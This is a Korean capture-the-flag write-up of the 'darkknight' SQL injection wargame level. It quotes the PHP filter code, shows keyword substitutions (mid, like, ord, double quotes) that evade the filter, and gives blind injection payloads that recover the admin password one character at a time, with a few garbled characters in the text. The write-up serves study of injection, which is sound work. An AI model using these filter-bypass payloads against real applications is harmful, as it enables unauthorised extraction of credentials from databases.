mi,, 2022. 9. 5. 01:30

 

$query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; 

if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 

 

소스코드를 보니 id가 ‘admin’인 pw의 값을 맞혀야 해당 문제를 통과할 수 있다. 

 

if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");  if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");  

 

지난 문제 golem과 유사하지만 no 파라미터가 추가되었다. 

pw를 필터링 하고 있고 

no의 필터링은 substr, ascii, =, 이다. 

 

지난문제 golem에서는 substrmid 함수로 = 기호는 like 연산자로 치환했다. 

여기서 추가적으로 필터링 된 asciiord 수로 ‘는 “치환할 수 있다. 

 

필터링 문자 치환
substr mid
= like
ascii ord
' "
 

 

$query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 

 

pw 파라미터에 공격하려면 pw는 입력 값을 가 감싸고 있기 때문에 해당 쿼리를 끝내기 위해서의 사용이 불가피하다. 

하지만 pw를 필터링하고 있다. 따라서 no 파라미터에 대해 공격하는 방식으로 진행한다. 

 

 

참인 값인 ?no=no or "1" like "1"%23을 입력했을 때, Hello guest 이라는 문구가 뜨는 것을 확인할 수 있다. 

 

 거짓 값인 ?no=no or "1" like "2"%23을 입력했을 때는 아무 문구도 안 뜨는 것을 확인할 수 있다. 

 

참과 거짓일 때 나오는 결과가 다르다는 점을 이용하여 블라인드 인젝션을 통해 pw를 알아낸다. 

 

 

 

[풀이 과정]

 

pw의 길이를 알기 위해 인자로 주어진 문자열의 길이를 구하는 length 함수를 이용한다.  

?no=no or id like admin” and length(pw) like 8%23 입력 -> Hello admin문구 확인 

 

pw의 길이는 8이라는 것을 알 수 있다. 

 

 * 앞서 언급했듯이 ascii가 필터링 되고 있다. ascii대신 동일한 기능을 가진 ord 함수를 사용한다. 

?no=no or id like "admin" and ord(mid(pw,1,1))<__%23 __빈칸에 숫자를 바꿔가며 Hello admin문구가 안 나올 때까지 반복한다. 

 

 

 pw 첫 번째 문자의 아스키코드 값이 48보다 작다는 문구를 넣었을 때 처음으로 아무 문구도 출력되지 않았다. 

 

 ?no=no or id like "admin" and ord(mid(pw,1,1)) like "48"%23입력 

pw의 첫 번째 문자는 아스키코드 값 480이다. 

 

반복하여 8자리를 다 찾아낸다. 

 

 

 pw의 두 번째 문자는 아스키코드 값 98인 b이다.  

pw=0b 

 

pw의 세 번째 문자는 아스키코드 값 557이다.  

pw=0b7 

 

pw의 네 번째 문자는 아스키코드 값 480이다.  

pw=0b70 

 

pw의 다섯 번째 문자는 아스키코드 값 101인 e이다.  

pw=0b70e

 

pw의 여섯 번째 문자는 아스키코드 값 97a이다.  

pw=0b70ea 

 

pw의 일곱 번째 문자는 아스키코드 값 491이다.  

pw=0b70ea1 

 

pw의 여덟 번째 문자는 아스키코드 값 102인 f이다.  

pw=0b70ea1f 

 

 

정답: ?pw= 0b70ea1f